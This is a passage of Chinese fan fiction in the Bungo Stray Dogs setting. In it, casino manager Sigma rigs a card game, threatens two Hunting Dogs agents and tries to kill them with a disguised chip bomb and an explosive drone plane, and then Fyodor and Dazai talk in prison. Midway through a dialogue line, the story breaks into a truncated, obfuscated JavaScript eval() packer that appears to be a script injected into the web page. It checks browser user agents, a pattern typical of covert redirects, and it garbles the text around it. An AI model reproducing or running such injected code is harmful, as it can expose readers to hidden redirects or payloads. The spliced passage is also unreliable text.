片刻后,西格玛放下茶杯,指尖轻轻摩挲着温润的杯沿,眼底重新燃起明亮的光芒。 休息的时间到此为止了,这座承载着她全部意义的赌场,还需要她的守护。 西格玛轻轻起身,理了理燕尾服的衣角,再次推开办公室的门,重新投入到那份属于“赌场经理”的从容与坚定之中。 刚走到二楼的二十一点赌桌区,一阵撕心裂肺的哭喊声突然打破了赌场的喧嚣,吸引了所有人的目光。 “求求你,刚刚是我全部的财产啊!” 西格玛循着声音走近,喧闹的议论声愈发清晰,她停下脚步,静静听着眼前的变故。 “带着黑桃的葫芦,是你输了。” 荷官的声音里满是无奈,双手摊开,示意牌局已定。 那名中年客人瞬间跪倒在地,带着陈旧的西装沾上了灰尘,他双手撑着地面,肩膀剧烈颤抖:“再来一次就好……为了筹集女儿的巨额手术费,我只能靠这个了!” 周围的客人渐渐围拢过来,议论声此起彼伏。 “在吵什么啊?” “虽然很可怜,但没钱是他自己的问题吧?” “赌桌有赌桌的规矩,哪能说重来就重来。” 荷官站在原地,一脸为难地看着跪倒在地的男人,却也无计可施。 中年客人的绝望穿透了嘈杂的人群,他抬起满是泪水的脸,声音嘶哑地哀求着:“拜托了,这是只要有钱就能救的病啊!不要对我年仅十岁的孩子见死不救啊!拜托了……拜托你发发慈悲……” 西格玛的心猛地一颤,淡粉色的眼眸里闪过一丝痛楚。 她想到了米哈伊尔和娜塔莉娅。 哪怕通过视频通话,西格玛每天都关注着自己的孩子的状况,但母亲怎么可能不思念孩子呢? 西格玛深吸一口气,压下翻涌的情绪,迈着坚定的步伐走上前去。 白色皮鞋踩在光洁的地面上,发出清脆的“哒哒”声,瞬间让喧闹的人群安静下来。 “你在干什么?” 西格玛的语气平静却带着不容置疑的威严。 荷官看到西格玛到来,面上瞬间染上慌张,连忙躬身:“总经理,非常抱歉,我马上就……” “闭嘴。” 西格玛冷冷打断他的话,目光凌厉地扫过围观的人群,最后落在那副散落的纸牌上,“不堪入目的东西是有害的,不允许有损此处优雅的东西存在。” 话音刚落,西格玛抬手“啪嗒”一声抽起桌上的一张纸牌,将背面展示给众人。 “你看。” 她的声音清晰而笃定,“纸牌背面有折痕……这是违反规矩的。” 西格玛顿了顿,看向在场的所有人,“这么一来,刚刚的牌局就无效了。” 中年客人愣住了,泪水还挂在脸上,眼神里满是难以置信的茫然:“咦……” 西格玛上前一步,伸出手,语气瞬间柔和下来,将他轻轻扶起:“我们工作人员不懂规矩,真是非常抱歉,可以的话,下一局请让我亲自担任庄家。” 很快,新的牌局开始,西格玛坐在庄家位上,指尖翻飞间,动作流畅而优雅。 在她的巧妙引导下,没过多久,中年客人便手握好牌,赢得了这一局的巨额筹码。 “太……太棒了啊啊啊啊啊!” 男人激动得浑身发抖,紧紧抓住西格玛的手,泪水再次夺眶而出,“谢谢你,这么一来,我的女儿就……” 西格玛只是温柔地笑了笑,抽回手,轻轻整理了一下燕尾服的袖口:“不……我什么都没做。是您的运气好。” 中年客人攥着筹码,千恩万谢地转身离开,围观的客人们见状,纷纷鼓起掌来,掌声里满是赞许。 西格玛也跟着轻轻鼓掌,脸上依旧是那份从容优雅的笑容,仿佛刚才的一切都只是一场再平常不过的牌局。 待人群散去,西格玛才带着些许顾虑,凑近身旁的荷官,压低声音轻轻问:“刚刚的牌局……是不是演的太过了呢?” 荷官也跟着拍着手,嘴角勾起一抹了然的笑:“不,您切牌的技术十分高超。” 他向西格玛眨了下眼,语气带着几分调侃,“只是说牌背面有折痕,那就有点过了。” 西格玛闻言,耳尖悄悄泛起淡粉,带着几分赧然地拿起那张纸牌,指尖轻轻摩挲着背面。 那道细微的折痕,分明是她刚才情急之下,用指甲轻轻划出来的。 “啊……折痕的话,我刚刚加上去的。” 西格玛垂眸轻笑,眼睫如蝶翼般轻颤,褪去了几分总经理的威严,多了几分柔和的歉意,“所以,还请你原谅我的小任性。” 随后,她恢复了总经理的沉稳,淡淡吩咐道:“让谈话室里做伪客的人,把刚刚的事情传播一下,让赌场的评价变好。” 说完,便转身准备离开。 身后的荷官连忙躬身应道:“好的,总经理!” 西格玛刚走出几步,准备继续巡视赌场的其他区域。 一名员工就神色慌张地大步跑来,额头上还挂着细密的汗珠,声音带着难以掩饰的颤抖:“总经理!不好了!出大事了!” 西格玛的眉头瞬间蹙起,眼底的柔和褪去,取而代之的是一贯的冷静,她快步走上前去:“怎么回事?慢慢说,别慌。” 那名员工喘了口气,压低声音急促地说道:“是‘猎犬’!政府直属的异能特务科‘猎犬’的人来了,他们现在就在接待室,要求我们立刻关闭赌场,配合他们的搜查!” “猎犬”两个字像一把冰冷的匕首,瞬间刺穿了西格玛的心脏,一股刺骨的寒意从脚底蔓延至全身,让她浑身的血液都仿佛凝固了。 她下意识地攥紧了拳头,指节泛白,脑海里猛地闪过费奥多尔曾经对她说过的话。 那声音冰冷而无情,此刻却清晰得如同在耳边回响:“如果‘猎犬’的人踏足这里,不必犹豫,放弃这座赌场。” 放弃?西格玛的心脏狠狠一抽。 这座赌场是她的命,是她被“书”创造出来的三年人生里,唯一的归宿,是她拼尽全力想要守护的“家”,她怎么可能放弃? 她深吸一口气,强迫自己压下翻涌的恐惧与慌乱,挺直脊背,语气平静地吩咐道:“你先下去安抚好其他员工,别让客人察觉到异常。” 说完,她转身朝着接待室的方向走去,每一步都迈得沉稳而坚定,仿佛刚才那瞬间的动摇从未出现过。 西格玛走进接待室,径直坐在了靠窗的单人沙发上,双腿优雅地交叠,双手轻轻合十放在膝上,淡粉色的眼眸里看不出丝毫情绪,只有一片深不见底的冷静。 没过多久,“猎犬”的成员大仓烨子和立原道造就推门走了进来。 大仓烨子身着猎犬服饰,双手抱胸,姿态倨傲,眼神锐利地扫过西格玛,开门见山:“我们收到情报,有恐怖分子潜入了这个赌场,为了抓捕嫌犯,要求你立刻封闭赌场。” 话音刚落,西格玛身旁的下属就立刻递上一台平板,恭敬地说道:“负责人,请看这个。” 平板上播放着赌场的监控画面,画面里一个戴着宽檐帽和墨镜的红发少女正低头走过安检口,正是他们口中的“恐怖分子”。 大仓烨子双手背在身后,身材娇小的她,周身萦绕着强烈的压迫感。 “那家伙是恐怖分子的同伙,她用异能‘房间’把一伙危险分子偷偷运进了赌场里,现在整个赌场都处于危险之中。” 西格玛的指尖微微蜷缩,面上却依旧镇定:“既然如此,我可以立刻调动赌场内的搜索小组,配合你们……” “没用的。” 大仓烨子冷冷打断她的话,嘴角勾起一抹嘲讽的弧度,“她本人也藏进了‘房间’里,早就不在普通的空间里了,你们的搜索根本毫无意义。” 西格玛的神色冷了几分,抬眸直视着大仓烨子,语气坚定:“那么,你们想让我做什么?” “很简单。” 大仓烨子向前一步,压迫感愈发强烈。 “封锁赌场,禁止所有人员出入,在每个区域都配置警察,守上一个月,那些藏在‘房间’里的家伙,迟早会自己跑出来。” 西格玛的目光瞬间变得锐利,周身散发出与平日温和截然不同的气场。她不带一丝犹豫,便说道:“我拒绝。” 大仓烨子的眉头狠狠皱起,眼神里闪过一丝戾气,语气危险:“……你说什么?” “我说,我拒绝。”西格玛毫不畏惧地迎上她的目光,一字一句清晰有力,“赌场一旦封锁,造成的巨额经济损失和信誉损害,由谁来补偿?这座赌场就是我的生命,要是有人让你们停止心跳一个月,你们会照做吗?” 大仓烨子身旁的立原道造见状,上前一步,神情严肃地呵斥:“你……知道现在是什么情况吗?这是政府的命令,你敢违抗?” 西格玛没有理会他,只是轻轻打了个响指。 “唰”的一声,接待室的门瞬间被推开,数十名身着黑色制服的安保人员鱼贯而入,手中的黑色枪械齐齐对准了大仓烨子和立原道造,冰冷的枪口泛着令人胆寒的光泽。 西格玛的声音依旧平静,却带着掌控一切的底气:“这把枪名叫‘指向性共振枪’,是专门为对付异能者设计的。音波会直接干扰大脑,照射一秒人就会失去意识,十秒就会丧命。” 她顿了顿,目光扫过两人骤变的神色,继续说道,“有很多连子弹都无法对付的异能者,但他们无法回避或防御音波子弹。” 西格玛微微抬眼,语气里漫着一丝不容置疑的威慑:“我的这些警卫,不仅都装备了这种枪,而且都是与异能者战斗经验丰富的专家,你们要不要试试看?” 大仓烨子的瞳孔骤然收缩,脸上的倨傲褪去,取而代之的是狰狞的怒意,周身瞬间笼罩上一股极具压迫性的气息,仿佛下一秒就要爆发。 “你是打算……反抗政府吗?” 西格玛微微歪头,眼底闪过一丝嘲讽:“政府?” 她脊背挺直,语气铿锵有力,每一个字都清晰地砸在空气里:“在国际法上,任何国家警察的权力在这个赌场内都不通用,这里相当于独立的空域。” 话音落下的瞬间,西格玛搭在扶手上的手指轻轻蜷了蜷,目光愈发锐利,一字一顿,带着不容置喙的强势:“换句话说,我就是这里的法律。” 她微微倾身,目光扫过两人骤然变色的脸,瞳孔里淬着寒意,声音冷得像寒冬的风:“刀枪和警察的权力,在这片土地上都是违法的。” 最后,西格玛抬眸,目光冰冷地看着两人,指尖轻点扶手,语气里没有半分温度,一字一句地说道:“现在,给我滚。” 立原道造的脸色瞬间涨红,他攥紧拳头,怒目圆睁:“你这家伙,老虎不发威当我……” 他的话还没说完,就被身旁大仓烨子突然爆发的气势惊得闭了嘴。 大仓烨子死死地盯着西格玛,周身的气压低得可怕,仿佛即将掀起一场风暴。 西格玛的心脏在胸腔里剧烈跳动,指尖因为用力而微微颤抖,她的紧张几乎要冲破伪装,却依旧强撑着,维持着表面的冷静与镇定。 就在这时,大仓烨子脸上的狰狞突然褪去,转而露出了一抹甜美的笑容,仿佛刚才的怒意只是错觉:“嗯,我知道了,这里警备周全,我们就先回去好了。” 说完,她转身就走,立原道造愣了一下,连忙快步跟上。 西格玛坐在原地,静静地看着两人的背影消失在门口。 她没有说话,只是缓缓垂下眼睫,抬手轻轻挥了挥,示意周围的下属退下。 安保人员们有条不紊地收起枪械,悄无声息地退出接待室,厚重的实木大门在身后发出“咔嗒”一声轻响,彻底隔绝了外界的喧嚣。 直到这时,西格玛才敢卸下所有的伪装,紧绷的肩膀瞬间垮了下来。 她扶着沙发的扶手,才勉强稳住身形,淡粉色的眼眸里满是劫后余生的慌乱与不安。 西格玛抬手按住剧烈起伏的胸口,掌心能清晰地感受到心脏在胸腔里疯狂跳动,沉重而急促,几乎要冲破皮肉的束缚。 她张了张嘴,声音带着不易察觉的颤抖,在空荡荡的接待室里轻轻响起,像是在问自己,又像是在祈求一个肯定的答案:“自己……有好好守护好赌场吗?” 没有人能回应她的问题。 西格玛闭了闭眼,深吸了一口气,冰凉的空气涌入肺腑,稍稍压下了胸腔里翻涌的慌乱。 她缓缓松开按在胸口的手,指尖轻轻摩挲着沙发扶手的纹路,脑海里闪过赌场里的喧嚣、员工们信任的目光、客人们尽兴的笑容,那些鲜活的画面,是她对抗恐惧的唯一力量。 无论如何,她都会守护好赌场。这座承载了她全部意义的空域,是她存在的证明,是她拼尽全力也要抓住的“家”。 西格玛猛地睁开眼,淡粉色的眼眸里褪去了所有的脆弱与不安,重新燃起了近乎执拗的坚定。 哪怕是付出生命的代价,她也绝不会让任何人、任何力量,毁掉这来之不易的一切。 哪怕是付出她的生命。 12. 决心 然而,就在二人离开后不久。 一声震耳欲聋的“轰隆隆”爆炸声,突然从赌场出入口的方向传来。 剧烈的震动紧随其后,接待室的玻璃窗被震得嗡嗡作响,连带着墙面都泛起了细碎的颤栗。 西格玛的心脏猛地一缩,差点骤停,她猛地抬头,淡粉色的眼眸里写满了难以置信的惊惧:“怎么回事?!” 进来汇报的下属也被这突如其来的爆炸吓得脸色惨白,他踉跄着跑到玻璃旁,探头望向外面的情况。 随后,他猛地回过头,声音带着慌张的喊道:“不好了!总经理!有人偷走了后厨烹饪用的煤气罐,在主出入口引爆了!现在那里一片混乱!” “什么?!”西格玛难掩惊惧,声音都变了调。 她瞬间就猜到了这是谁的手笔,除了刚刚离开的大仓烨子和立原道造,赌场里再也没人有这样的胆量和动机。 这分明是“猎犬”的报复,是他们逼自己就范的手段! 短暂的慌乱后,西格玛强迫自己冷静下来,她深吸一口气,压下心底的恐慌,快步朝着赌场大厅的方向走去。 现在赌场经历了爆炸,客人和员工都陷入了慌乱,这里需要她来稳住局面,她不能倒下。 西格玛抬手示意围拢过来的员工靠近,指尖轻轻落在身侧的赌桌上,姿态从容得仿佛不是身处混乱的赌场,而是站在灯火通明的宴会厅中央。 “首先安抚客人的恐慌,统一告知大家是电路发生短路引发的意外。” 她的语速极快,却字字清晰,尾音轻轻上扬,带着一种令人安心的力量。 “立刻引导他们前往住宿区域休息,动作轻缓,不要惊扰到任何人。” 西格玛微微侧身,避开一位奔跑着的客人,衣摆优雅地旋过半圈,目光扫过慌乱的人群,精准地锁定需要帮助的目标。 “记住,这种时候也要放慢速度走路,绝对不能比客人更慌乱。” 西格玛抬手理了理耳边的碎发,指尖划过耳廓的动作轻柔却带着不容置疑的威严。 “还有别忘了面带微笑,让他们感受到安全——这是我们作为赌场管理者的职责。” 西格玛一边稳步前行,一边抬手轻点虚空,仿佛在清点着无形的名单,语气笃定而精准:“E2988号客人有心脏病史,立刻安排医生过去,记得带上急救箱。” 她微微停顿,目光落在人群中一个抱着孩子的女人身上,抬手示意身边的员工上前。 “N2480号客人带着三岁的孩子,优先护送他们到安全区域,沿途注意避开拥挤的人流。” 话音未落,她又转向另一个方向,眉头微不可察地蹙了一下,随即舒展,依旧是从容的笑意。 “还有K3156号的老人,别让他被人群挤到,派两个人过去,一左一右护着他走。” 周围的工作人员看着西格玛从容指挥的身影,难掩震惊地低声惊呼:“好厉害……她竟然把赌场里两万多客人的名字、编号和特征都记住了!” “不愧是专门为了经营赌场而生的女人,这种时候还能这么镇定!” 西格玛抬手,对着众人做出一个坚定的指挥手势,指尖笔直指向住宿区的方向,脊背挺得更直了,语气带着不容置疑的力量:“这种小麻烦,下周就会被人们彻底忘记。” 她微微颔首,笑容依旧温和,眼底却沉淀着与外表不符的冷静与果决。 “现在,清楚自己的职责了,就给我立刻行动!” “是!” 员工们齐声应答,原本慌乱的神色也被这份坚定感染,立刻按照指令投入到安抚客人、维持秩序的工作中。 直到最后一位客人被安全护送到住宿区,赌场的秩序终于渐渐恢复,西格玛才拖着沉重的脚步,独自回到了中央控制室。 刚关上中央控制室的门,西格玛所有的防备与坚强瞬间崩塌。 她踉跄着后退几步,手臂死死撑着冰冷的墙壁,才勉强支撑着身体不倒下,半白半紫的长发散落下来,遮住了她苍白的脸。 太糟糕了……没办法把“猎犬”彻底赶出去了! 西格玛的心脏像是被一只冰冷的手紧紧攥住,窒息般的恐慌蔓延开来。 这样的话,他们马上就会以调查爆炸为由,彻查整个赌场! 她的身体控制不住地发抖,指尖深深掐进掌心,尖锐的痛感却压不住脑海里翻涌的恐惧。 “猎犬”是国内最强的特殊部队!爆炸肯定是他们干的,他们就是想找个借口闯进来! 一个可怕的念头,如惊雷般在西格玛脑海里炸响。 要是被他们知道了,这个赌场的真面目…… 那是她绝对不能接受的结局。 西格玛猛地抬起头,脸上的慌张渐渐被一种近乎决绝的坚定取代,眼底燃起了孤注一掷的光芒。 不……赌场就是我的本身,是我存在的意义,绝对不能被他们破坏! 她攥紧拳头,指甲深深嵌入掌心,心底的声音低沉而坚定,带着破釜沉舟的决气。 我只能解决他们了! 话音落下的瞬间,西格玛狠狠咬着下唇,直到尝到一丝铁锈般的血腥味,才强迫自己冷静下来。 趁着他们还在大意,趁着他们还没摸清赌场的底细…… 监控屏幕的冷光映在西格玛苍白的指尖,她指尖轻搭在控制台边缘,骨节微微泛白,目光死死追随着画面中那道身着猎犬制服的身影。 立原道造的步伐沉稳得像钉在地毯上,他旁若无人地穿梭在赌场内,目光扫过走廊的每一处角落,带着猎人般的精准与锐利。 西格玛的呼吸放得极轻,耳麦里传来员工的汇报,她却只是抬手按断通讯,唇角维持着惯常的优雅弧度,唯有垂在身侧的手,指甲深深掐进掌心。 她看着立原拐进了东侧的客房区,那是她特意安排的、与赌场核心区域完全隔离的普通住宿区,没有任何异常标识,甚至连监控都只做了基础覆盖,就是为了避开任何可能的探查。 “怎么会……”西格玛的声音轻得像一声叹息,却带着难以掩饰的颤抖。 屏幕里,立原在一间毫无特色的客房门前停下,他没有翻找钥匙,只是抬手对着保险柜的方向虚握了一下。 下一秒,厚重的金属柜门便发出沉闷的声响,应声弹开。 “不可能……不可能!”西格玛的声音陡然拔高,优雅的面具出现了第一道裂痕。 她猛地向前一步,单手撑在桌面,指尖在控制台上无意识地划过,留下几道凌乱的划痕。 “是说他偶然进入了,没有任何异常的住宿用房间吗?!” 心跳如擂鼓,一下比一下沉重,震得西格玛耳膜发疼。 ……异能力是操控金属吗? 她看着立原弯腰,从保险柜底层拿起了那枚不起眼的筹码。 那枚被精心伪装成普通筹码的RDG1800炸弹,混在一堆备用筹码里,本该像沉入深海的石子,永远不会被人发现。 为什么[猎犬]会找到[那个]?! 西格玛的心脏骤然缩紧,像是被一只无形的手狠狠攥住。 冰冷的恐慌顺着脊椎往上爬,几乎要淹没她的理智。 西格玛强迫自己闭上眼睛,深吸一口气,在心里反复默念:“冷、冷静点,西格玛,你是这里的主人,不能乱。” 她迅速梳理着前因后果:猎犬闯入赌场时,她已经按照流程没收了他们的通信工具和武器,将他们当作普通客人对待,现在的他们和普通人一样。 这个念头让西格玛的眼神瞬间变得凌厉起来,原本慌乱的神色被一种决绝取代。 她抬手抹去额角渗出的冷汗,指尖冰凉。 “也就是说……” 西格玛低声自语,声音里带着一丝狠戾,“只要现在解决掉他,就能守住秘密。” 监控画面里,立原正捏着那枚筹码,放在眼前仔细观察着,眉头微蹙,似乎在确认着什么。 阳光透过客房的窗户落在他身上,将筹码的金属边缘映得发亮。 现在是最佳时刻。 西格玛的手指悬停在红色的引爆按钮上方,指尖微微颤抖。 她脑海里再次闪过费奥多尔的脸,那个男人用温和却不容置疑的语气对她说:“如果‘猎犬’的人踏足这里,不必犹豫,放弃这座赌场。” 放弃…… 西格玛的喉咙发紧,心脏像是被什么东西堵住了,又闷又痛。 这座天空赌场,是“书”为她创造的归宿,是她三年来唯一的依靠。 她熬夜背下两万位客人的信息,熟记赌场的每一个角落,甚至能精准说出每一盏吊灯的位置,她把所有的心血、所有的执念都倾注在这里。 让她舍弃这一切,无异于让她舍弃自己的生命。 西格玛的答案还是跟从前一样。 不可能…… 西格玛咬着唇,心声带着一丝不易察觉的哽咽。 让我舍弃一切,舍弃这个赌场…不可能…! 她深吸一口气,眼神重新变得坚定起来。指尖落下,按在了那个红色的按钮上。 ……对不住了。 砰! 剧烈的爆炸声透过监控画面传来,即便隔着屏幕,也能感受到那股强大的冲击力。 火光瞬间吞噬了立原的上半身,烟尘弥漫开来,遮挡了视线。 西格玛看着画面中那道身影缓缓倒下,烟雾缭绕着他的头部,一动不动。 结束了…… 她紧绷的身体终于放松下来,长长地呼出一口气,像是卸下了千斤重担。 西格玛在心中喃喃自语。 那个距离的话,他肯定会当场没命的。 那是伪装成筹码的高性能炸RDG1800,虽然内藏的炸药分量不多,但是威力十分强大,爆炸时碎片会四处飞溅,给人体造成重大损伤。 这是在[天人五衰]的下一个[世界级恐袭]计划中担任核心的残忍兵器。 既然那个被发现了,就不可能让他活着回去—— 然而,就在西格玛准备转身下达请扫指令时,监控画面里的烟尘渐渐散去。 西格玛的动作猛地顿住,瞳孔骤然收缩,脸上的血色瞬间褪尽。 画面中,立原道造缓缓直起身,他的头发被爆炸的气流吹散,脸上沾着些许灰尘,唯有握着筹码的手,衣袖被炸开,指节血肉模糊,鲜血正顺着手臂往下淌。 而那些本该飞溅开来的金属碎片,此刻正悬浮在他的周围,像是被一股无形的力量操控着,纹丝不动。 “可恶!没能干掉他!” 西格玛惊慌地捂住嘴,指甲几乎要嵌进脸颊的肉里。 巨大的恐惧再次席卷而来,比之前更甚。 她怎么忘了,立原道造的异能是操控金属,那枚筹码本身就是金属制品,他或许从一开始就察觉到了异样,甚至做好了应对的准备。 一旦他突破防线,赌场里藏着的秘密就会彻底暴露,她唯一的归宿也将化为泡影。 怎么办? 西格玛的大脑一片混乱,她强迫自己冷静下来,目光扫过控制台,最终落在了最下方的一个红色按钮上。 “不对……还有办法。”她咬着唇,声音发颤却带着一丝执拗。 脑海里飞速掠过所有防御方案,最终定格在控制台最下方的红色按钮上。 那是西格玛为了应对终极危机,特意留下的杀手锏,是她守护赌场的最后一道防线。 可紧接着,犹豫就像潮水般将她淹没。 她太清楚那个按钮意味着什么。 如果用了[那个],这座她倾注了心血的空中赌场,将元气大伤。 更让西格玛难以抉择的是,启动指令一旦发出,爆炸与混乱会牵连到赌场里的每一位客人。 那些客人,是她日复一日熟记于心的“财产”,是她在这座孤岛上最真切的牵挂。 她记得西装革履的商人每次都会点一杯波本威士忌,记得白发苍苍的老妇人总爱坐在靠窗的位置看云,记得年轻的情侣会在午夜的赌桌旁许下诺言…… 他们的笑容、他们的低语,都是她枯燥生活里仅有的温暖。 “不必犹豫,放弃这座赌场。” 费奥多尔的话语又突然在她耳边响起,温和的语气里带着不容置疑的压迫感,像一块巨石压在她的心上。 西格玛的眼眶微微发热,一股难以言喻的悲哀涌上心头。 或许那个男人说得对,她不过是个一无所有的凡人,凭什么妄想守住不属于自己的东西? 放弃这座赌场,顺从命运的安排,是不是就不会这么痛苦了? 可她做不到。 三年前在沙漠里醒来时的茫然无助,被人贩囚禁时的绝望挣扎,初见费奥多尔,那个关于家的承诺…… 一幕幕画面在她脑海里闪过。 这座天空赌场,是“书”为她创造的家,是她用无数个不眠之夜,背下两万位客人的信息,熟记每一个角落的细节,才守护住的归宿。 “好厉害,不愧是为赌场而生的女人。” 员工敬佩的话在耳边响起。 西格玛的心里泛起一丝悲哀,她自嘲地笑了笑。 大家都误解了,我没有什么才能。 她只是一个怕失去、怕再次一无所有的凡人。 那些旁人眼中令人惊叹的才能,不过是她拼尽全力,想要留住这唯一归宿的证明。 她熬夜背下客人的喜好,熟记赌场的每一条规则,甚至能精准说出每一盏吊灯的位置,从来都不是因为什么天赋,只是因为她太怕失去了。 监控屏幕的冷光映在西格玛苍白的脸上,她指尖的颤抖终于平息,取而代之的是一种近乎决绝的坚定。 琉璃般的眼眸死死锁住画面里那个仍在原地思索的身影。 立原道造此刻正蹙着眉,似乎在推敲着赌场里潜藏的异样。 “如果是为了赌场,我什么都会做!” 这句话从西格玛紧抿的唇间溢出,带着玉石俱焚的狠劲。 她不再犹豫,抬手按下了那个红色的按钮。 沉闷的嗡鸣从赌场顶层传来,那是自动驾驶小型客机启动的声响。 这架被改装过的飞行器,此刻承载的不是乘客,而是足以将整层建筑夷为平地的□□,以及西格玛赌上一切的执念。 它如同一只失控的钢铁巨鸟,朝着立原道造所在的方位,带着毁灭的气息俯冲而去。 立原道造正低头梳理着线索,空气中骤然传来的金属撕裂般的破空声让他猛地抬头。 当他循着声音望向窗外时,瞳孔在瞬间剧烈收缩,原本沉稳的脸色褪尽了血色。 “不会吧……” 那抹闪着幽蓝微光的黑影越来越近,机翼划破气流的呼啸声震得窗户微微发颤。 无人驾驶的客机如同择人而噬的猛兽,带着不可阻挡的冲击力朝他撞来。 “异能·金属操控!” 立原道造几乎是本能地张开双手,周身的金属制品瞬间震颤起来,桌椅的钢架、墙壁的钢筋纷纷挣脱束缚,朝着客机的方向聚拢。 然而,那架客机的体积远超他的预想,庞大的机身裹挟着惯性,如同失控的列车,仅凭他能调动的金属,根本来不及构筑起足够坚固的屏障。 死亡的寒意如同冰冷的毒蛇,顺着脊椎攀上脖颈。 立原道造甚至能清晰地看到客机前端闪烁的警示灯,以及那扑面而来的、属于钢铁与火药的窒息气息。 就在这千钧一发之际,一道身影猛地挡在了他的身前。 “退下吧,懦弱的立原。” 大仓烨子的声音带着惯有的慵懒,却又透着不容置疑的力量。 她侧过头,瞥了一眼身后面露错愕的立原,嘴角勾起一抹轻蔑的弧度。 下一秒,淡金色的异能光芒在她周身绽放,[灵魂的喘息]发动。 原本如同少女般纤细的身形骤然拔高,稚嫩的轮廓褪去,取而代之的是成年女性的挺拔与力量。肌肉线条在衣物下绷紧,迸发出惊人的爆发力。 “给我停下——!” 伴随着一声震耳欲聋的咆哮,大仓烨子迎着冲来的客机,双手猛地向前推出。 她的手掌与冰冷的机身轰然相撞,金属扭曲的刺耳声响回荡在整个空间,巨大的冲击力让她脚下的地面瞬间龟裂,碎石飞溅。 “啊啊啊啊啊啊——!” 嘶吼声从她喉咙里迸发,每一个音节都带着极致的力量。那架裹挟着毁灭之势的客机,在她的推力下,速度渐渐放缓,最终硬生生停在了距离立原道造不足三米的地方。 大仓烨子喘着粗气,看着眼前纹丝不动的钢铁巨兽,低低地笑了起来,笑声里满是桀骜与不屑。 “竟敢跟我比相扑,真是架愚蠢的飞机。” 立原道造站在她身后,眼中的震惊几乎要溢出来。 他望着大仓烨子看似纤细却爆发出无穷力量的背影,在心中喃喃自语。 好厉害……那种速度下的飞机,她徒手就…… 就在这时,客机的机舱突然自动弹开,无数闪烁着金属光泽的筹码如同倾泻的瀑布般涌了出来,哗啦啦地铺满了地面。 “骗人的吧……非要做到这种地步吗?” 立原道造的眉头紧紧皱起,额头冒出冷汗。 “立原!” 大仓烨子猛地回头,声音里带着不容耽搁的急促。 立原道造瞬间领会,再次催动异能。 地面上的筹码、客机的金属残骸,甚至是周围建筑的钢筋,都在他的操控下聚拢起来,形成一道坚固的防护屏障。 大仓烨子深吸一口气,用尽全身力气,将身前的客机朝着窗外猛地推去。 就在客机被推出缺口的刹那,剧烈的爆炸声轰然响起,火光冲天,热浪席卷而来,将两人的身影映得忽明忽暗。 爆炸的余波渐渐平息,大仓烨子解除了异能,身形重新恢复成少女的模样。 立原道造走到她身边,两人一同站在飞机撞出的巨大缺口边,目光警惕地扫视着四周,提防着可能再次袭来的袭击。 大仓烨子抬手梳理了一下略显凌乱的发丝,一边梳理着自己的头发,一边和立原道造交谈着。 …… “原来如此。” “『筹码炸弹』啊,还真是邪恶呢。” 风从缺口灌入,吹动着他们的衣角,带着硝烟与金属的气息。 “是的,筹码由客人带到赌场之外的地方,再通过经济流通扩散到世界各地。” 立原道造的声音低沉,带着一丝凝重,“接着,在筹码充分散布到世界各地之后,敌人就将其一起引爆。” …… 中央通信室里,西格玛再也听不下去了。 监控里传来的对话,如同冰锥般刺进她的心脏。 他们都知道了,怎么办?怎么办?! 从看到大仓烨子徒手逼停飞机的那一刻起,西格玛就感觉浑身的力气都被抽空了。 她双手死死摁在冰冷的控制台桌面上,指节因为用力而泛白,身体微微颤抖着,勉强支撑着自己不至于倒下。 不行,不能放弃……这里是她的赌场,是她唯一的归宿,她绝不能让任何人毁掉它。 就在这时,监控里传来大仓烨子的声音,清晰而冰冷:“去中央通信室,抓住那个幕后主使。” 西格玛的身体猛地一僵,下唇被她死死咬住,尝到了淡淡的血腥味。 她不可能让他们这么轻松地就过来。 西格玛早就安排好了。 数名全副武装的警卫正严阵以待,前往猎犬二人所在的位置,每个人的手中都握着一把“指向性共振枪”。 这种武器能针对异能者的异能核心造成冲击,是她为猎犬成员准备的“惊喜”。 然而,监控画面里的场景,却让西格玛的心脏沉入了谷底。 那些训练有素、全副武装的警卫,在面对大仓烨子和立原道造时,竟然如同手无寸铁的孩童。 大仓烨子的速度快得惊人,身影在警卫之间穿梭,每一次出手都精准地击中他们的手腕,让枪支脱手。 而立原道造则操控着周围的金属,轻易地缴械了所有警卫,甚至没有让他们有机会扣动扳机。 真不敢相信……西格玛的眼眶微微泛红,看着画面里那些手足无措的警卫,一股无力感席卷了全身。 这就是[猎犬]的战斗力……这就是,普通人和异能强者之间,无法逾越的能力差距吗? 但是…… 西格玛撑着桌子的双手微微用力,指甲几乎要嵌进桌面里。她抬起头,眼中重新燃起了火光。 凡人也有凡人才能做到的——战斗方法。 与此同时,另一边默尔索监狱内。 费奥多尔和太宰治正开着茶话会。 两人唇齿间流转着只有彼此能听懂的暗语,像一场无声的棋局对弈。 太宰治懒洋洋地坐在床边,指节顶着下巴,眼尾带着惯有的散漫笑意,率先打破了这方空间的沉寂。 “我有一个问题。” 他抬眼看向对面的费奥多尔,鸢色的眸子里藏着捉摸不透的光,“为什么你会选西格玛作为赌场的『要塞』守护者?” 听到这话,费奥多尔抬眼瞥了太宰治一眼,嘴角勾起一抹似笑非笑的弧度:“你在说什么呢?” “你打算装傻吗?这未免太扫兴了吧。” “不过是打发时间罢了,对吧?” 太宰治撑着下巴,语气轻飘飘的,像是随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰治继续说着,语速不急不缓,却字字戳心:“八天前,你们把它写在『书』上,一瞬间具体化。包括13年的历史。其建造目的有二,一个是作为下一次空袭的据点,另一个是作为西格玛使用异能的酬劳,还真是一点都不浪费呢。” 费奥多尔闭眼笑了笑,脑海中的西格玛粉色眼眸含着泪光,真是惹人怜爱啊。 这样的思绪只是一瞬,费奥多尔又睁开眼,继续用掌心托着下巴,语气平淡:“我们的老大不喜欢浪费呢。” 费奥多尔放下托着下巴的手,指尖交叉放在腿上。 太宰治通过这个简单的回复,瞬间察觉到了隐藏的信息,他坐直身子,语气带着了然:“好了……非常感谢,你说的内容很有趣,接着到我了。” “让我们回到最开始的问题吧。将西格玛置于前线的理由是?” 费奥多尔平静地回望他,眼底掠过一丝对西格玛的审视,仿佛又看到了那个无依无靠、却为了“归宿”拼尽一切的身影:“那当然是……因为她最强大啊。” 能影响到他的西格玛,怎么不算是最强大呢? 太宰治挑眉,发出疑问:“强大?” 从他能得到的资料上看,这位西格玛小姐应该是天人五衰里,战力最弱的一位了。 